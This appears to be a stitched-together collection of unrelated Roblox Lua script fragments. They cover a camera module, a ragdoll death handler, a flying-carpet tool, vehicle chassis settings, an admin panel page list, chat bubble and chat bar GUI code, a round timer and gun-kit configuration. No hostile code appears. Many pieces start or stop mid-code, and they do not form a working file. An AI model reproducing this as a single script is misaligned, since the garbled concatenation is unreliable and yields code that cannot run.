self:OnDevTouchMovementModeChanged() -- Init if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnGameSettingsTouchMovementModeChanged() end) self:OnGameSettingsTouchMovementModeChanged() -- Init UserGameSettings:SetCameraYInvertVisible() UserGameSettings:SetGamepadCameraSensitivityVisible() self.hasGameLoaded = game:IsLoaded() if not self.hasGameLoaded then self.gameLoadedConn = game.Loaded:Connect(function() self.hasGameLoaded = true self.gameLoadedConn:Disconnect() self.gameLoadedConn = nil end) end self:OnPlayerCameraPropertyChange() return self end function BaseCamera:GetModuleName() return "BaseCamera" end function BaseCamera:OnCharacterAdded(char) self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled() self.humanoidRootPart = nil if UserInputService.TouchEnabled then self.PlayerGui = player:WaitForChild("PlayerGui") for _, child in ipairs(char:GetChildren()) do if child:IsA("Tool") then self.isAToolEquipped = true end end char.ChildAdded:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = true end end) char.ChildRemoved:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = false end end) end end function BaseCamera:GetHumanoidRootPart() if not self.humanoidRootPart then if player.Character then local humanoid = player.Character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidRootPart = humanoid.RootPart end end end return self.humanoidRootPart end function BaseCamera:GetBodyPartToFollow(humanoid, isDead) -- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid if humanoid:GetState() == Enum.HumanoidStateType.Dead then local character = humanoid.Parent if character and character:IsA("Model") then return character:FindFirstChild("Head") or humanoid.RootPart end end return humanoid.RootPart end function BaseCamera:GetSubjectPosition() local result = self.lastSubjectPosition local camera = game.Workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead if VRService.VREnabled and humanoidIsDead and humanoid == self.lastSubject then result = self.lastSubjectPosition else local bodyPartToFollow = humanoid.RootPart -- If the humanoid is dead, prefer their head part as a follow target, if it exists if humanoidIsDead then if humanoid.Parent and humanoid.Parent:IsA("Model") then bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow end end if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then local heightOffset if humanoid.RigType == Enum.HumanoidRigType.R15 then if humanoid.AutomaticScalingEnabled then heightOffset = R15_HEAD_OFFSET if bodyPartToFollow == humanoid.RootPart then local rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2) heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0) end else heightOffset = R15_HEAD_OFFSET_NO_SCALING end else heightOffset = HEAD_OFFSET end if humanoidIsDead then heightOffset = ZERO_VECTOR3 end result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset) end end elseif cameraSubject:IsA("VehicleSeat") then local offset = SEAT_OFFSET if VRService.VREnabled then offset = VR_SEAT_OFFSET end result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA("SkateboardPlatform") then result = cameraSubject.CFrame.p + SEAT_OFFSET elseif cameraSubject:IsA("BasePart") then result = cameraSubject.CFrame.p elseif cameraSubject:IsA("Model") then if cameraSubject.PrimaryPart then result = cameraSubject:GetPrimaryPartCFrame().p else result = cameraSubject:GetModelCFrame().p end end else -- cameraSubject is nil -- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition -- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the -- last set valid values for these, as nil values are not handled cases return end self.lastSubject = cameraSubject self.lastSubjectPosition = result return result end function BaseCamera:UpdateDefaultSubjectDistance() if self.portraitMode then self.defaultSubjectDistance = math.clamp(PORTRAIT_DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) else self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) end end function BaseCamera:OnViewportSizeChanged() local camera = game.Workspace.CurrentCamera local size = camera.ViewportSize self.portraitMode = size.X < size.Y self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700) self:UpdateDefaultSubjectDistance() end
--//Controller/--
Humanoid.Died:Connect(function() for i, Joint in pairs(Character:GetDescendants()) do if Joint:IsA("Motor6D") then local A0 = Instance.new("Attachment") A0.Parent = Joint.Part0 A0.CFrame = Joint.C0 local A1 = Instance.new("Attachment") A1.Parent = Joint.Part1 A1.CFrame = Joint.C1 local BallSocketConstraint = Instance.new("BallSocketConstraint") BallSocketConstraint.Parent = Joint.Parent BallSocketConstraint.Attachment0 = A0 BallSocketConstraint.Attachment1 = A1 Joint:Destroy() elseif Joint.Name == "Head" and Joint:IsA("BasePart") then local WeldConstraint = Instance.new("WeldConstraint") WeldConstraint.Parent = Joint WeldConstraint.Part0 = Joint WeldConstraint.Part1 = HRP end end end)
-- local REGEX_BACKSLASH, REGEX_REMOVE_BACKSLASH, REGEX_SPECIAL_CHARS, REGEX_SPECIAL_CHARS_GLOBAL = -- Constants.REGEX_BACKSLASH, -- Constants.REGEX_REMOVE_BACKSLASH, -- Constants.REGEX_SPECIAL_CHARS, -- Constants.REGEX_SPECIAL_CHARS_GLOBAL -- ROBLOX TODO END
function exports.isObject(val) return val ~= nil and typeof(val) == "table" and not Array.isArray(val) end function exports.hasRegexChars(str) return string.match(str, REGEX_SPECIAL_CHARS) ~= nil end function exports.isRegexChar(str: string) return #str == 1 and exports.hasRegexChars(str) end
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RemovalMonitor = script:WaitForChild("RemovalMonitor") CarpetPieces = { {MeshId = 223079795, Angle = 160}, {MeshId = 223079835, Angle = 100}, {MeshId = 223079888, Angle = 100}, {MeshId = 223079981, Angle = 160}, } CarpetSize = Vector3.new(6, 0.5, 6.5) BaseUrl = "http://www.roblox.com/asset/?id=" Rate = (1 / 10) BasePart = Instance.new("Part") BasePart.Material = Enum.Material.Plastic BasePart.Shape = Enum.PartType.Block BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = false BasePart.Locked = true ColorPart = BasePart:Clone() ColorPart.Name = "ColorPart" ColorPart.Reflectance = 0.25 ColorPart.Transparency = 0.1 ColorPart.Material = Enum.Material.SmoothPlastic ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.Size = Vector3.new(1, 1, 1) ColorPart.Anchored = true ColorPart.CanCollide = false ColorMesh = Instance.new("SpecialMesh") ColorMesh.Name = "Mesh" ColorMesh.MeshType = Enum.MeshType.FileMesh ColorMesh.MeshId = (BaseUrl .. "9856898") ColorMesh.TextureId = (BaseUrl .. "1361097") ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick. ColorMesh.Offset = Vector3.new(0, 0, 0) ColorMesh.VertexColor = Vector3.new(1, 1, 1) ColorMesh.Parent = ColorPart ColorLight = Instance.new("PointLight") ColorLight.Name = "Light" ColorLight.Brightness = 50 ColorLight.Range = 8 ColorLight.Shadows = false ColorLight.Enabled = true ColorLight.Parent = ColorPart RainbowColors = { Vector3.new(1, 0, 0), Vector3.new(1, 0.5, 0), Vector3.new(1, 1, 0), Vector3.new(0, 1, 0), Vector3.new(0, 1, 1), Vector3.new(0, 0, 1), Vector3.new(0.5, 0, 1) } Animations = { Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } Grips = { Normal = CFrame.new(-1.5, 0, -0.75, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0), Flying = CFrame.new(0, 0.5, -0.125, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008) } Flying = false ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Tool ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool Handle.Transparency = 0 Tool.Grip = Grips.Normal Tool.Enabled = true function Clamp(Number, Min, Max) return math.max(math.min(Max, Number), Min) end function TransformModel(Objects, Center, NewCFrame, Recurse) local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects) for i, v in pairs(Objects) do if v:IsA("BasePart") then v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame)) end if Recurse then TransformModel(v:GetChildren(), Center, NewCFrame, true) end end end function Weld(Parent, PrimaryPart) local Parts = {} local Welds = {} local function WeldModel(Parent, PrimaryPart) for i, v in pairs(Parent:GetChildren()) do if v:IsA("BasePart") then if v ~= PrimaryPart then local Weld = Instance.new("Weld") Weld.Name = "Weld" Weld.Part0 = PrimaryPart Weld.Part1 = v Weld.C0 = PrimaryPart.CFrame:inverse() Weld.C1 = v.CFrame:inverse() Weld.Parent = PrimaryPart table.insert(Welds, Weld) end table.insert(Parts, v) end WeldModel(v, PrimaryPart) end end WeldModel(Parent, PrimaryPart) return Parts, Welds end function CleanUp() Handle.Transparency = 0 for i, v in pairs(Tool:GetChildren()) do if v:IsA("BasePart") and v ~= Handle then v:Destroy() end end end function CreateRainbow(Length) local RainbowModel = Instance.new("Model") RainbowModel.Name = "RainbowPart" for i, v in pairs(RainbowColors) do local Part = ColorPart:Clone() Part.Name = "Part" Part.Size = Vector3.new(0.5, 0.5, Length) Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0) Part.Mesh.Scale = (Part.Size * 2) Part.Mesh.VertexColor = v Part.Light.Color = Color3.new(v.X, v.Y, v.Z) Part.Parent = RainbowModel end local RainbowBoundingBox = BasePart:Clone() RainbowBoundingBox.Name = "BoundingBox" RainbowBoundingBox.Transparency = 1 RainbowBoundingBox.Size = RainbowModel:GetModelSize() RainbowBoundingBox.Anchored = true RainbowBoundingBox.CanCollide = false RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame() RainbowBoundingBox.Parent = RainbowModel return RainbowModel end function GetRainbowModel() local ModelName = (Player.Name .. "'s Rainbow") local Model = game:GetService("Workspace"):FindFirstChild(ModelName) if not Model then Model = Instance.new("Model") Model.Name = ModelName local RemovalMonitorClone = RemovalMonitor:Clone() RemovalMonitorClone.Disabled = false RemovalMonitorClone.Parent = Model end return Model end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Activated() if not Tool.Enabled then return end Tool.Enabled = false Flying = not Flying if Flying then CleanUp() Handle.Transparency = 1 local CarpetParts = {} Seat = Instance.new("Seat") Seat.Name = "Seat" Seat.Transparency = 1 Seat.Material = Enum.Material.Plastic Seat.Shape = Enum.PartType.Block Seat.TopSurface = Enum.SurfaceType.Smooth Seat.BottomSurface = Enum.SurfaceType.Smooth Seat.FormFactor = Enum.FormFactor.Custom Seat.Size = Vector3.new(0.5, 0.2, 0.5) Seat.CanCollide = true Seat.Locked = true Seat.Disabled = false local SeatWeld = Instance.new("Weld") SeatWeld.Name = "Weld" SeatWeld.Part0 = Handle SeatWeld.Part1 = Seat SeatWeld.C0 = (CFrame.new(-1.5, 0, -3.25) * CFrame.Angles(0, math.pi, 0)) SeatWeld.C1 = CFrame.new(0, 0, 0) SeatWeld.Parent = Seat Seat.Parent = Tool for i, v in pairs(CarpetPieces) do local CarpetPart = BasePart:Clone() CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces)) local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.FileMesh Mesh.MeshId = (BaseUrl .. v.MeshId) Mesh.TextureId = (BaseUrl .. "223080038") Mesh.Scale = Vector3.new(2, 1.125, 1.5) Mesh.VertexColor = Vector3.new(1, 1, 1) Mesh.Offset = Vector3.new(0, 0, 0) Mesh.Parent = CarpetPart local Weld = Instance.new("Weld") Weld.Part0 = Handle Weld.Part1 = CarpetPart local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0) local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.85) or (i == 3 and 1.1) or (i == #CarpetPieces and 1.97) or 0)) Weld.C1 = CFrame.new(0, XOffset, YOffset) Weld.Parent = CarpetPart table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle}) CarpetPart.Parent = Tool end spawn(function() InvokeClient("PlayAnimation", Animations.Sit) Tool.Grip = Grips.Flying end) Torso.Anchored = true delay(.2,function() Torso.Anchored = false Torso.Velocity = Vector3.new(0,0,0) Torso.RotVelocity = Vector3.new(0,0,0) end) FlightSpin = Instance.new("BodyGyro") FlightSpin.Name = "FlightSpin" FlightSpin.P = 10000 FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100 FlightSpin.cframe = Torso.CFrame FlightPower = Instance.new("BodyVelocity") FlightPower.Name = "FlightPower" FlightPower.velocity = Vector3.new(0, 0, 0) FlightPower.maxForce = Vector3.new(1,1,1)*1000000 FlightPower.P = 1000 FlightHold = Instance.new("BodyPosition") FlightHold.Name = "FlightHold" FlightHold.P = 100000 FlightHold.maxForce = Vector3.new(0, 0, 0) FlightHold.position = Torso.Position FlightSpin.Parent = Torso FlightPower.Parent = Torso FlightHold.Parent = Torso spawn(function() local LastPlace = nil while Flying and ToolEquipped and CheckIfAlive() do local CurrentPlace = Handle.Position local Velocity = Torso.Velocity Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude if LastPlace and Velocity > 10 then spawn(function() local Model = GetRainbowModel() local Distance = (LastPlace - CurrentPlace).magnitude local Length = Distance + 3.5 local RainbowModel = CreateRainbow(Length) local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace) TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true) Debris:AddItem(RainbowModel, 1) RainbowModel.Parent = Model if Model and not Model.Parent then Model.Parent = game:GetService("Workspace") end LastPlace = CurrentPlace end) elseif not LastPlace then LastPlace = CurrentPlace end wait(Rate) end end) elseif not Flying then Torso.Velocity = Vector3.new(0, 0, 0) Torso.RotVelocity = Vector3.new(0, 0, 0) for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do if v and v.Parent then v:Destroy() end end if Seat and Seat.Parent and Seat.Occupant and Seat.Occupant:IsA("Humanoid") then local humanoid = Seat.Occupant humanoid.Sit = false end CleanUp() spawn(function() Tool.Grip = Grips.Normal InvokeClient("StopAnimation", Animations.Sit) end) end wait(2) Tool.Enabled = true end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("HumanoidRootPart") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R15 then Animations = { Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } else Animations = { Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } end end Tool.Grip = Grips.Normal ToolEquipped = true end function Unequipped() Flying = false for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do if v and v.Parent then v:Destroy() end end CleanUp() Handle.Transparency = 0 ToolEquipped = false end function OnServerInvoke(player, mode, value) if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then return end end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end CleanUp() ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[[Misc]]
Tune.LoadDelay = .1 -- Delay before initializing chassis (in seconds) Tune.AutoStart = true -- Set to false if using manual ignition plugin Tune.AutoFlip = true -- Set to false if using manual flip plugin
-- << VARIABLES >>
local subPageOrders = { ["About"] = {"Info", "Updates", "Credits"}; --["Commands"] = {"Commands", "VoiceChat", "Morphs", "Details"}; ["Commands"] = {"Commands", "Morphs", "Details"}; ["Special"] = {"Donor", "Coming soon"}; ["Admin"] = {"Ranks", "Server Ranks", "Banland"}; ["Settings"] = {"Custom"}; } local mainFrame = main.gui.MainFrame local TopBarFrame = main.gui.CustomTopBar local TopBarButton = TopBarFrame.ImageButton local pages = mainFrame.Pages local currentPage = pages.Home local guiDe = true
--// Services
local MarketplaceService = game:GetService("MarketplaceService"); local Players = game:GetService("Players");
--Initialization--
xSSR.Anchored = true xSSL.Anchored = true zBRR.Anchored = true zBRL.Anchored = true weight.Rotation = alig.Rotation engine.Rotation = alig.Rotation fuel.Rotation = alig.Rotation diff.Rotation = alig.Rotation trans.Rotation = alig.Rotation hitboxF.Rotation = alig.Rotation hitboxR.Rotation = alig.Rotation alig:remove() xSSR.CFrame = xSSR.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(CamberFront*-1)) xSSL.CFrame = xSSL.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(CamberFront*1)) zBRR.CFrame = zBRR.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(CamberRear*-1)) zBRL.CFrame = zBRL.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(CamberRear*1)) if Drivetrain == "FWD" then vRdifferential.Value = 0 elseif Drivetrain == "RWD" then vFdifferential.Value = 0 end script.Parent.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(-0.59), math.rad(0), math.rad(0)) local D = script.Assets.Screen:Clone() D.Parent = script.Parent local bodyweld = script.Assets.BodyWeld:Clone() bodyweld.Parent = script.Parent.Parent bodyweld.Disabled = false for _,i in pairs(script.Parent.Parent.Parent:GetChildren()) do local new = script.Assets.Weld:Clone() if i.Name~="Wheels" and i.Name~="Body" then new.Parent = i end new.Disabled = false end for _,i in pairs(script.Parent.Parent.Parent.Wheels:GetChildren()) do local new = script.Assets.Weld:Clone() new.Parent = i new.Disabled = false end
-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--[[ FUNCTIONS ]]
local function lerpLength(msg, min, max) return min + (max-min) * math.min(string.len(msg)/75.0, 1.0) end local function createFifo() local this = {} this.data = {} local emptyEvent = Instance.new("BindableEvent") this.Emptied = emptyEvent.Event function this:Size() return #this.data end function this:Empty() return this:Size() <= 0 end function this:PopFront() table.remove(this.data, 1) if this:Empty() then emptyEvent:Fire() end end function this:Front() return this.data[1] end function this:Get(index) return this.data[index] end function this:PushBack(value) table.insert(this.data, value) end function this:GetData() return this.data end return this end local function createCharacterChats() local this = {} this.Fifo = createFifo() this.BillboardGui = nil return this end local function createMap() local this = {} this.data = {} local count = 0 function this:Size() return count end function this:Erase(key) if this.data[key] then count = count - 1 end this.data[key] = nil end function this:Set(key, value) this.data[key] = value if value then count = count + 1 end end function this:Get(key) if not key then return end if not this.data[key] then this.data[key] = createCharacterChats() local emptiedCon = nil emptiedCon = this.data[key].Fifo.Emptied:connect(function() emptiedCon:disconnect() this:Erase(key) end) end return this.data[key] end function this:GetData() return this.data end return this end local function createChatLine(message, bubbleColor, isLocalPlayer) local this = {} function this:ComputeBubbleLifetime(msg, isSelf) if isSelf then return lerpLength(msg,8,15) else return lerpLength(msg,12,20) end end this.Origin = nil this.RenderBubble = nil this.Message = message this.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer) this.BubbleColor = bubbleColor this.IsLocalPlayer = isLocalPlayer return this end local function createPlayerChatLine(player, message, isLocalPlayer) local this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer) if player then this.User = player.Name this.Origin = player.Character end return this end local function createGameChatLine(origin, message, isLocalPlayer, bubbleColor) local this = createChatLine(message, bubbleColor, isLocalPlayer) this.Origin = origin return this end function createChatBubbleMain(filePrefix, sliceRect) local chatBubbleMain = Instance.new("ImageLabel") chatBubbleMain.Name = "ChatBubble" chatBubbleMain.ScaleType = Enum.ScaleType.Slice chatBubbleMain.SliceCenter = sliceRect chatBubbleMain.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" chatBubbleMain.BackgroundTransparency = 1 chatBubbleMain.BorderSizePixel = 0 chatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0) chatBubbleMain.Position = UDim2.new(0,0,0,0) return chatBubbleMain end function createChatBubbleTail(position, size) local chatBubbleTail = Instance.new("ImageLabel") chatBubbleTail.Name = "ChatBubbleTail" chatBubbleTail.Image = "rbxasset://textures/ui/dialog_tail.png" chatBubbleTail.BackgroundTransparency = 1 chatBubbleTail.BorderSizePixel = 0 chatBubbleTail.Position = position chatBubbleTail.Size = size return chatBubbleTail end function createChatBubbleWithTail(filePrefix, position, size, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local chatBubbleTail = createChatBubbleTail(position, size) chatBubbleTail.Parent = chatBubbleMain return chatBubbleMain end function createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local frame = Instance.new("Frame") frame.Name = "ChatBubbleTailFrame" frame.BackgroundTransparency = 1 frame.SizeConstraint = Enum.SizeConstraint.RelativeXX frame.Position = UDim2.new(0.5, 0, 1, 0) frame.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0) frame.Parent = chatBubbleMain local chatBubbleTail = createChatBubbleTail(position, UDim2.new(1,0,0.5,0)) chatBubbleTail.Parent = frame return chatBubbleMain end function createChatImposter(filePrefix, dotDotDot, yOffset) local result = Instance.new("ImageLabel") result.Name = "DialogPlaceholder" result.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" result.BackgroundTransparency = 1 result.BorderSizePixel = 0 result.Position = UDim2.new(0, 0, -1.25, 0) result.Size = UDim2.new(1, 0, 1, 0) local image = Instance.new("ImageLabel") image.Name = "DotDotDot" image.Image = "rbxasset://textures/" .. tostring(dotDotDot) .. ".png" image.BackgroundTransparency = 1 image.BorderSizePixel = 0 image.Position = UDim2.new(0.001, 0, yOffset, 0) image.Size = UDim2.new(1, 0, 0.7, 0) image.Parent = result return result end local this = {} this.ChatBubble = {} this.ChatBubbleWithTail = {} this.ScalingChatBubbleWithTail = {} this.CharacterSortedMsg = createMap()
--> CUSTOMISATION
local FireAnimationSpeed = 3.5 local ReloadAnimationSpeed = 1.6
-- @Description Return true if the specified instance got a property named as specified. -- @Arg1 Instance -- @Arg2 PropertyName -- @Return boolean
function Basic.HasProperty(instance, Property) local CachedProp = rawget(CachedProperties, instance.ClassName) and rawget(rawget(CachedProperties, instance.ClassName), Property) if CachedProp then return CachedProp end local success = pcall(function() return instance[Property] end) if not rawget(CachedProperties, instance.ClassName) then rawset(CachedProperties, instance.ClassName, {}) end rawset(rawget(CachedProperties, instance.ClassName), Property, success) return success end
--////////////////////////////// Methods --//////////////////////////////////////
local methods = {} methods.__index = methods function methods:CreateGuiObjects(targetParent) self.ChatBarParentFrame = targetParent local backgroundImagePixelOffset = 7 local textBoxPixelOffset = 5 local BaseFrame = Instance.new("Frame") BaseFrame.Selectable = false BaseFrame.Size = UDim2.new(1, 0, 1, 0) BaseFrame.BackgroundTransparency = 0.6 BaseFrame.BorderSizePixel = 0 BaseFrame.BackgroundColor3 = ChatSettings.ChatBarBackGroundColor BaseFrame.Parent = targetParent local BoxFrame = Instance.new("Frame") BoxFrame.Selectable = false BoxFrame.Name = "BoxFrame" BoxFrame.BackgroundTransparency = 0.6 BoxFrame.BorderSizePixel = 0 BoxFrame.BackgroundColor3 = ChatSettings.ChatBarBoxColor BoxFrame.Size = UDim2.new(1, -backgroundImagePixelOffset * 2, 1, -backgroundImagePixelOffset * 2) BoxFrame.Position = UDim2.new(0, backgroundImagePixelOffset, 0, backgroundImagePixelOffset) BoxFrame.Parent = BaseFrame local TextBoxHolderFrame = Instance.new("Frame") TextBoxHolderFrame.BackgroundTransparency = 1 TextBoxHolderFrame.Size = UDim2.new(1, -textBoxPixelOffset * 2, 1, -textBoxPixelOffset * 2) TextBoxHolderFrame.Position = UDim2.new(0, textBoxPixelOffset, 0, textBoxPixelOffset) TextBoxHolderFrame.Parent = BoxFrame local TextBox = Instance.new("TextBox") TextBox.Selectable = ChatSettings.GamepadNavigationEnabled TextBox.Name = "ChatBar" TextBox.BackgroundTransparency = 1 TextBox.Size = UDim2.new(1, 0, 1, 0) TextBox.Position = UDim2.new(0, 0, 0, 0) TextBox.TextSize = ChatSettings.ChatBarTextSize TextBox.Font = ChatSettings.ChatBarFont TextBox.TextColor3 = ChatSettings.ChatBarTextColor TextBox.TextTransparency = 0.4 TextBox.TextStrokeTransparency = 1 TextBox.ClearTextOnFocus = false TextBox.TextXAlignment = Enum.TextXAlignment.Left TextBox.TextYAlignment = Enum.TextYAlignment.Top TextBox.TextWrapped = true TextBox.Text = "" TextBox.Parent = TextBoxHolderFrame local MessageModeTextButton = Instance.new("TextButton") MessageModeTextButton.Selectable = false MessageModeTextButton.Name = "MessageMode" MessageModeTextButton.BackgroundTransparency = 1 MessageModeTextButton.Position = UDim2.new(0, 0, 0, 0) MessageModeTextButton.TextSize = ChatSettings.ChatBarTextSize MessageModeTextButton.Font = ChatSettings.ChatBarFont MessageModeTextButton.TextXAlignment = Enum.TextXAlignment.Left MessageModeTextButton.TextWrapped = true MessageModeTextButton.Text = "" MessageModeTextButton.Size = UDim2.new(0, 0, 0, 0) MessageModeTextButton.TextYAlignment = Enum.TextYAlignment.Center MessageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor() MessageModeTextButton.Visible = true MessageModeTextButton.Parent = TextBoxHolderFrame local TextLabel = Instance.new("TextLabel") TextLabel.Selectable = false TextLabel.TextWrapped = true TextLabel.BackgroundTransparency = 1 TextLabel.Size = TextBox.Size TextLabel.Position = TextBox.Position TextLabel.TextSize = TextBox.TextSize TextLabel.Font = TextBox.Font TextLabel.TextColor3 = TextBox.TextColor3 TextLabel.TextTransparency = TextBox.TextTransparency TextLabel.TextStrokeTransparency = TextBox.TextStrokeTransparency TextLabel.TextXAlignment = TextBox.TextXAlignment TextLabel.TextYAlignment = TextBox.TextYAlignment TextLabel.Text = "..." TextLabel.Parent = TextBoxHolderFrame self.GuiObject = BaseFrame self.TextBox = TextBox self.TextLabel = TextLabel self.GuiObjects.BaseFrame = BaseFrame self.GuiObjects.TextBoxFrame = BoxFrame self.GuiObjects.TextBox = TextBox self.GuiObjects.TextLabel = TextLabel self.GuiObjects.MessageModeTextButton = MessageModeTextButton self:AnimGuiObjects() self:SetUpTextBoxEvents(TextBox, TextLabel, MessageModeTextButton) if self.UserHasChatOff then self:DoLockChatBar() end self.eGuiObjectsChanged:Fire() end
--[[ Local Functions ]]
-- local function getHumanoid() local character = LocalPlayer and LocalPlayer.Character if character then if CachedHumanoid and CachedHumanoid.Parent == character then return CachedHumanoid else CachedHumanoid = nil for _,child in pairs(character:GetChildren()) do if child:IsA('Humanoid') then CachedHumanoid = child return CachedHumanoid end end end end end
-- Local Functions
local function OnTimeChanged(newValue) local currentTime = math.max(0, newValue) local minutes = math.floor(currentTime / 60)-- % 60 local seconds = math.floor(currentTime) % 60 Timer.Text = string.format("%02d:%02d", minutes, seconds) end local function OnDisplayTimerInfo(intermission, waitingForPlayers) Timer.Intermission.Visible = intermission Timer.WaitingForPlayers.Visible = waitingForPlayers end
---------------------------------------------------------------------------------------------------- -----------------=[ General ]=---------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
TeamKill = false --- Enable TeamKill? ,TeamDmgMult = .1 --- Between 0-1 | This will make you cause less damage if you hit your teammate ,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces... ,AntiBunnyHop = true --- Enable anti bunny hop system? ,JumpCoolDown = 1.5 --- Seconds before you can jump again ,JumpPower = 20 --- Jump power, default is 50 ,RealisticLaser = true --- True = Laser line is invisible ,ReplicatedLaser = true ,ReplicatedFlashlight = true ,EnableRagdoll = true --- Enable ragdoll death? ,TeamTags = true --- Aaaaaaa ,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD ,Crosshair = false --- Crosshair for Hipfire shooters and arcade modes ,CrosshairOffset = 5 --- Crosshair size offset
--Register touched events.
